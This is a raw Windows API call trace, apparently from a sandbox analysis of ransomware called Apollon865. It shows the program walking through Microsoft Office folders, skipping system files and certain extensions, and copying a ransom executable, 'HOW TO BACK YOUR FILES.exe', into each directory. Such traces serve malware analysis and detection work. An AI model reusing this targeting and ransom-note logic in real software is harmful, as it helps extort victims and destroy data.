	[0065.470] lstrlenW (lpString="SEAMARBL.JPG") returned 12
	[0065.470] lstrlenW (lpString="Apollon865") returned 10
	[0065.471] lstrcmpiW (lpString1="AMARBL.JPG", lpString2="Apollon865") returned -1
	[0065.471] lstrlenW (lpString=".dll") returned 4
	[0065.471] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2=".dll") returned 1
	[0065.471] lstrlenW (lpString=".lnk") returned 4
	[0065.471] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2=".lnk") returned 1
	[0065.471] lstrlenW (lpString=".ini") returned 4
	[0065.471] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2=".ini") returned 1
	[0065.471] lstrlenW (lpString=".sys") returned 4
	[0065.471] lstrcmpiW (lpString1="SEAMARBL.JPG", lpString2=".sys") returned 1
	[0065.471] lstrlenW (lpString="SEAMARBL.JPG") returned 12
	[0065.471] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8d1900, ftCreationTime.dwHighDateTime=0x1c02f19, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a8d1900, ftLastWriteTime.dwHighDateTime=0x1c02f19, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TECHTOOL.GIF", cAlternateFileName="")) returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2=".") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="..") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="windows") returned -1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="bootmgr") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="temp") returned -1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="pagefile.sys") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="boot") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="ids.txt") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="ntuser.dat") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="perflogs") returned 1
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2="MSBuild") returned 1
	[0065.471] lstrlenW (lpString="TECHTOOL.GIF") returned 12
	[0065.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG") returned 62
	[0065.471] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="TECHTOOL.GIF" | out: lpString1="TECHTOOL.GIF") returned="TECHTOOL.GIF"
	[0065.471] lstrlenW (lpString="TECHTOOL.GIF") returned 12
	[0065.471] lstrlenW (lpString="Apollon865") returned 10
	[0065.471] lstrcmpiW (lpString1="CHTOOL.GIF", lpString2="Apollon865") returned 1
	[0065.471] lstrlenW (lpString=".dll") returned 4
	[0065.471] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2=".dll") returned 1
	[0065.471] lstrlenW (lpString=".lnk") returned 4
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2=".lnk") returned 1
	[0065.472] lstrlenW (lpString=".ini") returned 4
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2=".ini") returned 1
	[0065.472] lstrlenW (lpString=".sys") returned 4
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.GIF", lpString2=".sys") returned 1
	[0065.472] lstrlenW (lpString="TECHTOOL.GIF") returned 12
	[0065.472] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2=".") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="..") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="windows") returned -1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="bootmgr") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="temp") returned -1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="pagefile.sys") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="boot") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="ids.txt") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="ntuser.dat") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="perflogs") returned 1
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2="MSBuild") returned 1
	[0065.472] lstrlenW (lpString="TECHTOOL.HTM") returned 12
	[0065.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF") returned 62
	[0065.472] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="TECHTOOL.HTM" | out: lpString1="TECHTOOL.HTM") returned="TECHTOOL.HTM"
	[0065.472] lstrlenW (lpString="TECHTOOL.HTM") returned 12
	[0065.472] lstrlenW (lpString="Apollon865") returned 10
	[0065.472] lstrcmpiW (lpString1="CHTOOL.HTM", lpString2="Apollon865") returned 1
	[0065.472] lstrlenW (lpString=".dll") returned 4
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2=".dll") returned 1
	[0065.472] lstrlenW (lpString=".lnk") returned 4
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2=".lnk") returned 1
	[0065.472] lstrlenW (lpString=".ini") returned 4
	[0065.472] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2=".ini") returned 1
	[0065.472] lstrlenW (lpString=".sys") returned 4
	[0065.473] lstrcmpiW (lpString1="TECHTOOL.HTM", lpString2=".sys") returned 1
	[0065.473] lstrlenW (lpString="TECHTOOL.HTM") returned 12
	[0065.473] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 0
	[0065.473] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0065.473] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0065.473] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14"
	[0065.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0065.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0065.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14") returned 42
	[0065.473] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14"
	[0065.473] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0065.473] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0065.478] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0065.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3f1a5ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f1a5ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0065.478] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.478] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0065.478] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0065.478] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3f1a5ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f1a5ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.483] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.483] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0065.483] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0065.483] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0065.483] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0065.484] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0065.484] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0065.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0065.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0065.484] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0065.484] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0065.484] lstrcmpiW (lpString1="1036", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.484] lstrcmpiW (lpString1="1036", lpString2="Apollon865.txt.exe") returned -1
	[0065.484] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="1036" | out: lpString1="1036") returned="1036"
	[0065.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0065.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5730
	[0065.484] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0065.484] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0065.484] lstrcmpiW (lpString1="3082", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.484] lstrcmpiW (lpString1="3082", lpString2="Apollon865.txt.exe") returned -1
	[0065.484] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="3082" | out: lpString1="3082") returned="3082"
	[0065.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0065.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5798
	[0065.485] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x5b7990
	[0065.485] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1
	[0065.485] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.485] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2="Apollon865.txt.exe") returned -1
	[0065.485] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ACCDDS.DLL" | out: lpString1="ACCDDS.DLL") returned="ACCDDS.DLL"
	[0065.485] lstrlenW (lpString="ACCDDS.DLL") returned 10
	[0065.485] lstrlenW (lpString="Apollon865") returned 10
	[0065.485] lstrlenW (lpString=".dll") returned 4
	[0065.485] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2=".dll") returned 1
	[0065.485] lstrlenW (lpString=".lnk") returned 4
	[0065.485] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2=".lnk") returned 1
	[0065.485] lstrlenW (lpString=".ini") returned 4
	[0065.485] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2=".ini") returned 1
	[0065.485] lstrlenW (lpString=".sys") returned 4
	[0065.485] lstrcmpiW (lpString1="ACCDDS.DLL", lpString2=".sys") returned 1
	[0065.485] lstrlenW (lpString="ACCDDS.DLL") returned 10
	[0065.485] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ACCDDSF.DLL" | out: lpString1="ACCDDSF.DLL") returned="ACCDDSF.DLL"
	[0065.485] lstrlenW (lpString="ACCDDSF.DLL") returned 11
	[0065.485] lstrlenW (lpString="Apollon865") returned 10
	[0065.485] lstrcmpiW (lpString1="CCDDSF.DLL", lpString2="Apollon865") returned 1
	[0065.485] lstrlenW (lpString=".dll") returned 4
	[0065.485] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2=".dll") returned 1
	[0065.485] lstrlenW (lpString=".lnk") returned 4
	[0065.485] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2=".lnk") returned 1
	[0065.485] lstrlenW (lpString=".ini") returned 4
	[0065.485] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2=".ini") returned 1
	[0065.485] lstrlenW (lpString=".sys") returned 4
	[0065.485] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2=".sys") returned 1
	[0065.485] lstrlenW (lpString="ACCDDSF.DLL") returned 11
	[0065.486] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ACCDDSLM.DLL" | out: lpString1="ACCDDSLM.DLL") returned="ACCDDSLM.DLL"
	[0065.486] lstrlenW (lpString="ACCDDSLM.DLL") returned 12
	[0065.486] lstrlenW (lpString="Apollon865") returned 10
	[0065.486] lstrcmpiW (lpString1="CDDSLM.DLL", lpString2="Apollon865") returned 1
	[0065.486] lstrlenW (lpString=".dll") returned 4
	[0065.486] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2=".dll") returned 1
	[0065.486] lstrlenW (lpString=".lnk") returned 4
	[0065.486] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2=".lnk") returned 1
	[0065.486] lstrlenW (lpString=".ini") returned 4
	[0065.486] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2=".ini") returned 1
	[0065.486] lstrlenW (lpString=".sys") returned 4
	[0065.486] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2=".sys") returned 1
	[0065.486] lstrlenW (lpString="ACCDDSLM.DLL") returned 12
	[0065.486] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AccessWeb" | out: lpString1="AccessWeb") returned="AccessWeb"
	[0065.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0065.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a920
	[0065.486] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc10
	[0065.486] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0065.486] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.486] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="Apollon865.txt.exe") returned -1
	[0065.486] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ACCICONS.EXE" | out: lpString1="ACCICONS.EXE") returned="ACCICONS.EXE"
	[0065.486] lstrlenW (lpString="ACCICONS.EXE") returned 12
	[0065.486] lstrlenW (lpString="Apollon865") returned 10
	[0065.486] lstrcmpiW (lpString1="CICONS.EXE", lpString2="Apollon865") returned 1
	[0065.486] lstrlenW (lpString=".dll") returned 4
	[0065.486] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2=".dll") returned 1
	[0065.486] lstrlenW (lpString=".lnk") returned 4
	[0065.486] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2=".lnk") returned 1
	[0065.486] lstrlenW (lpString=".ini") returned 4
	[0065.486] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2=".ini") returned 1
	[0065.486] lstrlenW (lpString=".sys") returned 4
	[0065.486] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2=".sys") returned 1
	[0065.487] lstrlenW (lpString="ACCICONS.EXE") returned 12
	[0065.487] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ACCVDT.DLL" | out: lpString1="ACCVDT.DLL") returned="ACCVDT.DLL"
	[0065.487] lstrlenW (lpString="ACCVDT.DLL") returned 10
	[0065.487] lstrlenW (lpString="Apollon865") returned 10
	[0065.487] lstrlenW (lpString=".dll") returned 4
	[0065.487] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2=".dll") returned 1
	[0065.487] lstrlenW (lpString=".lnk") returned 4
	[0065.487] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2=".lnk") returned 1
	[0065.487] lstrlenW (lpString=".ini") returned 4
	[0065.487] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2=".ini") returned 1
	[0065.487] lstrlenW (lpString=".sys") returned 4
	[0065.487] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2=".sys") returned 1
	[0065.487] lstrlenW (lpString="ACCVDT.DLL") returned 10
	[0065.487] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ACCWIZ" | out: lpString1="ACCWIZ") returned="ACCWIZ"
	[0065.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0065.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5afc58
	[0065.487] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0065.487] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0065.487] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.487] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2="Apollon865.txt.exe") returned -1
	[0065.487] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ACCWIZ.DLL" | out: lpString1="ACCWIZ.DLL") returned="ACCWIZ.DLL"
	[0065.487] lstrlenW (lpString="ACCWIZ.DLL") returned 10
	[0065.487] lstrlenW (lpString="Apollon865") returned 10
	[0065.487] lstrlenW (lpString=".dll") returned 4
	[0065.487] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2=".dll") returned 1
	[0065.487] lstrlenW (lpString=".lnk") returned 4
	[0065.487] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2=".lnk") returned 1
	[0065.487] lstrlenW (lpString=".ini") returned 4
	[0065.487] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2=".ini") returned 1
	[0065.487] lstrlenW (lpString=".sys") returned 4
	[0065.487] lstrcmpiW (lpString1="ACCWIZ.DLL", lpString2=".sys") returned 1
	[0065.488] lstrlenW (lpString="ACCWIZ.DLL") returned 10
	[0065.488] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ACEDAO.DLL" | out: lpString1="ACEDAO.DLL") returned="ACEDAO.DLL"
	[0065.488] lstrlenW (lpString="ACEDAO.DLL") returned 10
	[0065.488] lstrlenW (lpString="Apollon865") returned 10
	[0065.488] lstrlenW (lpString=".dll") returned 4
	[0065.488] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".dll") returned 1
	[0065.488] lstrlenW (lpString=".lnk") returned 4
	[0065.488] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".lnk") returned 1
	[0065.488] lstrlenW (lpString=".ini") returned 4
	[0065.488] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".ini") returned 1
	[0065.488] lstrlenW (lpString=".sys") returned 4
	[0065.488] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".sys") returned 1
	[0065.488] lstrlenW (lpString="ACEDAO.DLL") returned 10
	[0065.488] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ADDINS" | out: lpString1="ADDINS") returned="ADDINS"
	[0065.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0065.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5b5b98
	[0065.488] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc90
	[0065.488] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1
	[0065.488] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.488] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="Apollon865.txt.exe") returned -1
	[0065.488] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ADVCMP.DIC" | out: lpString1="ADVCMP.DIC") returned="ADVCMP.DIC"
	[0065.488] lstrlenW (lpString="ADVCMP.DIC") returned 10
	[0065.488] lstrlenW (lpString="Apollon865") returned 10
	[0065.488] lstrlenW (lpString=".dll") returned 4
	[0065.488] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2=".dll") returned 1
	[0065.488] lstrlenW (lpString=".lnk") returned 4
	[0065.488] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2=".lnk") returned 1
	[0065.488] lstrlenW (lpString=".ini") returned 4
	[0065.488] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2=".ini") returned 1
	[0065.488] lstrlenW (lpString=".sys") returned 4
	[0065.488] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2=".sys") returned 1
	[0065.489] lstrlenW (lpString="ADVCMP.DIC") returned 10
	[0065.489] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ADVTEL.DIC" | out: lpString1="ADVTEL.DIC") returned="ADVTEL.DIC"
	[0065.489] lstrlenW (lpString="ADVTEL.DIC") returned 10
	[0065.489] lstrlenW (lpString="Apollon865") returned 10
	[0065.489] lstrlenW (lpString=".dll") returned 4
	[0065.489] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2=".dll") returned 1
	[0065.489] lstrlenW (lpString=".lnk") returned 4
	[0065.489] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2=".lnk") returned 1
	[0065.489] lstrlenW (lpString=".ini") returned 4
